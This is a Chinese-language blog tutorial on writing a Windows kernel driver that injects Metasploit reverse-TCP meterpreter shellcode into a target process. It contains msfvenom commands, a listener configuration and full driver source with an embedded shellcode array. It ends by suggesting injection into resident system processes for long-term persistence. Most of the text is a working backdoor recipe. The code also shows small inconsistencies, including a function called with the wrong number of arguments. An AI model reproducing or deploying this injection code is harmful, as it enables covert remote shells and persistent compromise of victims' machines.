驅動開發:核心ShellCode執行緒注入

2023-06-14 12:12:12

還記得《驅動開發:核心LoadLibrary實現DLL注入》中所使用的注入技術嗎,我們通過RtlCreateUserThread函數呼叫實現了注入DLL到應用層並執行,本章將繼續探索一個簡單的問題,如何注入ShellCode程式碼實現反彈Shell,這裡需要注意一般情況下RtlCreateUserThread需要傳入兩個最重要的引數,一個是StartAddress開始執行的記憶體塊,另一個是StartParameter傳入記憶體塊的變數列表,而如果將StartParameter地址填充為NULL則表明不傳遞任何引數,也就是隻線上程中執行ShellCode程式碼,利用這個特點我們就可以在上一篇文章的基礎之上簡單改程序式碼即可實現驅動級後門注入的功能。

  • 被控主機IP: 10.0.66.11
  • 控制主機IP: 10.0.66.22

為了能實現反彈後門的功能,我們首先需要使用Metasploit工具生成一段ShellCode程式碼片段,以32位元為例,生成32為反彈程式碼。

[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=10.0.66.22 lport=9999 -f c

[root@localhost ~]# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=10.0.66.22 lport=9999 -f c

生成ShellCode程式碼片段如下圖所示;

其次伺服器端需要偵聽特定埠,設定引數如下所示;

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set exitfunc thread
msf6 exploit(multi/handler) > set lhost 10.0.66.22
msf6 exploit(multi/handler) > set lport 9999
msf6 exploit(multi/handler) > exploit

伺服器端執行後則會進入偵聽等待階段,輸出效果圖如下所示;

此時我們使用如下程式碼片段,並自行修改程序PID為指定目標程序,編譯生成驅動程式;

// 署名權
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: [email protected]

#include "lyshark.h"

// 定義函數指標
typedef PVOID(NTAPI* PfnRtlCreateUserThread)
(
	IN HANDLE ProcessHandle,
	IN PSECURITY_DESCRIPTOR SecurityDescriptor,
	IN BOOLEAN CreateSuspended,
	IN ULONG StackZeroBits,
	IN OUT size_t StackReserved,
	IN OUT size_t StackCommit,
	IN PVOID StartAddress,
	IN PVOID StartParameter,
	OUT PHANDLE ThreadHandle,
	OUT PCLIENT_ID ClientID
);

// 遠端執行緒注入函數
BOOLEAN MyInjectShellCode(ULONG pid, PVOID pRing3Address)
{
	NTSTATUS status = STATUS_UNSUCCESSFUL;
	PEPROCESS pEProcess = NULL;
	KAPC_STATE ApcState = { 0 };

	PfnRtlCreateUserThread RtlCreateUserThread = NULL;
	HANDLE hThread = 0;

	__try
	{
		// 獲取RtlCreateUserThread函數的記憶體地址
		UNICODE_STRING ustrRtlCreateUserThread;
		RtlInitUnicodeString(&ustrRtlCreateUserThread, L"RtlCreateUserThread");
		RtlCreateUserThread = (PfnRtlCreateUserThread)MmGetSystemRoutineAddress(&ustrRtlCreateUserThread);
		if (RtlCreateUserThread == NULL)
		{
			return FALSE;
		}

		// 根據程序PID獲取程序EProcess結構
		status = PsLookupProcessByProcessId((HANDLE)pid, &pEProcess);
		if (!NT_SUCCESS(status))
		{
			return FALSE;
		}

		// 附加到目標程序內
		KeStackAttachProcess(pEProcess, &ApcState);

		// 驗證程序是否可讀寫
		if (!MmIsAddressValid(pRing3Address))
		{
			return FALSE;
		}

		// 啟動注入執行緒
		status = RtlCreateUserThread(ZwCurrentProcess(),
			NULL,
			FALSE,
			0,
			0,
			0,
			pRing3Address,
			NULL,
			&hThread,
			NULL);
		if (!NT_SUCCESS(status))
		{
			return FALSE;
		}

		return TRUE;
	}

	__finally
	{
		// 釋放物件
		if (pEProcess != NULL)
		{
			ObDereferenceObject(pEProcess);
			pEProcess = NULL;
		}

		// 取消附加程序
		KeUnstackDetachProcess(&ApcState);
	}

	return FALSE;
}

VOID Unload(PDRIVER_OBJECT pDriverObj)
{
	DbgPrint("[-] 驅動解除安裝 \n");
}

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath)
{
	DbgPrint("Hello LyShark.com \n");

	ULONG process_id = 5844;
	DWORD create_size = 1024;
	DWORD64 ref_address = 0;

	// -------------------------------------------------------
	// 應用層開堆
	// -------------------------------------------------------

	NTSTATUS Status = AllocMemory(process_id, create_size, &ref_address);

	DbgPrint("對端程序: %d \n", process_id);
	DbgPrint("分配長度: %d \n", create_size);
	DbgPrint("分配的核心堆基址: %p \n", ref_address);

	// 設定注入路徑,轉換為多位元組
	UCHAR ShellCode[] =
		"\xdb\xde\xd9\x74\x24\xf4\x5a\xbe\x12\x21\xe9\xef\x31\xc9\xb1"
		"\x59\x31\x72\x19\x83\xc2\x04\x03\x72\x15\xf0\xd4\x15\x07\x7b"
		"\x16\xe6\xd8\xe3\x26\x34\x51\x06\x2c\x33\x30\xf8\x26\x11\xb9"
		"\x73\x6a\x82\x4a\xf1\xa3\xa5\xfb\xbf\x95\x88\xfc\x0e\x1a\x46"
		"\x3e\x11\xe6\x95\x13\xf1\xd7\x55\x66\xf0\x10\x20\x0c\x1d\xcc"
		"\xe4\x65\xb3\xe1\x81\x38\x0f\x03\x46\x37\x2f\x7b\xe3\x88\xdb"
		"\x37\xea\xd8\xa8\x90\xcc\x53\xe6\x38\x5d\x65\x25\xbd\x94\x11"
		"\xf5\xf7\x17\x25\x8e\x3c\xd3\xd8\x46\x0d\x23\x76\xa7\xa1\xae"
		"\x86\xe0\x06\x51\xfd\x1a\x75\xec\x06\xd9\x07\x2a\x82\xfd\xa0"
		"\xb9\x34\xd9\x51\x6d\xa2\xaa\x5e\xda\xa0\xf4\x42\xdd\x65\x8f"
		"\x7f\x56\x88\x5f\xf6\x2c\xaf\x7b\x52\xf6\xce\xda\x3e\x59\xee"
		"\x3c\xe6\x06\x4a\x37\x05\x50\xea\xb8\xd5\x5d\xb6\x2e\x19\x90"
		"\x49\xae\x35\xa3\x3a\x9c\x9a\x1f\xd5\xac\x53\x86\x22\xa5\x74"
		"\x39\xfc\x0d\x14\xc7\xfd\x6d\x3c\x0c\xa9\x3d\x56\xa5\xd2\xd6"
		"\xa6\x4a\x07\x42\xad\xdc\xa2\x92\xf3\x0a\xdb\x90\xf3\x15\x14"
		"\x1d\x15\x09\x7a\x4d\x8a\xea\x2a\x2d\x7a\x83\x20\xa2\xa5\xb3"
		"\x4a\x69\xce\x5e\xa5\xc7\xa6\xf6\x5c\x42\x3c\x66\xa0\x59\x38"
		"\xa8\x2a\x6b\xbc\x67\xdb\x1e\xae\x90\xbc\xe0\x2e\x61\x29\xe0"
		"\x44\x65\xfb\xb7\xf0\x67\xda\xff\x5e\x97\x09\x7c\x98\x67\xcc"
		"\xb4\xd2\x5e\x5a\xf8\x8c\x9e\x8a\xf8\x4c\xc9\xc0\xf8\x24\xad"
		"\xb0\xab\x51\xb2\x6c\xd8\xc9\x27\x8f\x88\xbe\xe0\xe7\x36\x98"
		"\xc7\xa7\xc9\xcf\x5b\xaf\x35\x8d\x73\x08\x5d\x6d\xc4\xa8\x9d"
		"\x07\xc4\xf8\xf5\xdc\xeb\xf7\x35\x1c\x26\x50\x5d\x97\xa7\x12"
		"\xfc\xa8\xed\xf3\xa0\xa9\x02\x28\x53\xd3\x6b\xcf\x94\x24\x62"
		"\xb4\x95\x24\x8a\xca\xaa\xf2\xb3\xb8\xed\xc6\x87\xb3\x58\x6a"
		"\xa1\x59\xa2\x38\xb1\x4b";

	// -------------------------------------------------------
	// 寫出資料到記憶體
	// -------------------------------------------------------

	ReadMemoryStruct ptr;

	ptr.pid = process_id;
	ptr.address = ref_address;
	ptr.size = strlen(ShellCode);

	// 需要寫入的資料
	ptr.data = ExAllocatePool(NonPagedPool, ptr.size);

	// 迴圈設定
	for (int i = 0; i < ptr.size; i++)
	{
		ptr.data[i] = ShellCode[i];
	}

	// 寫記憶體
	MDLWriteMemory(&ptr);
	ExFreePool(ptr.data);

	// -------------------------------------------------------
	// 執行開執行緒函數
	// -------------------------------------------------------

	// 執行執行緒注入
	// 引數1:PID
	// 引數2:LoadLibraryW記憶體地址
	// 引數3:當前DLL路徑
	BOOLEAN flag = MyInjectShellCode(process_id, ref_address, 0);
	if (flag == TRUE)
	{
		DbgPrint("[*] 已完成程序 %d | 注入地址 %p \n", process_id, ref_address);
	}

	DriverObject->DriverUnload = Unload;
	return STATUS_SUCCESS;
}

編譯並在使用者端執行這個驅動程式,則會將ShellCode反彈後門注入到PID=5844程序內,輸出效果圖如下所示;

此時回到伺服器端程式,則可看到反彈Shell對談,輸出效果圖如下所示;

當然該方法也可注入自定義ShellCode程式碼,也可實現對某個遊戲的Call呼叫功能等,上文中只是為了通用性而演示的一個案例,在真實的實戰環境中,讀者可以將程式碼注入到系統常駐程序上,這樣系統啟動後自動注入程式碼以此來實現長久的許可權維持。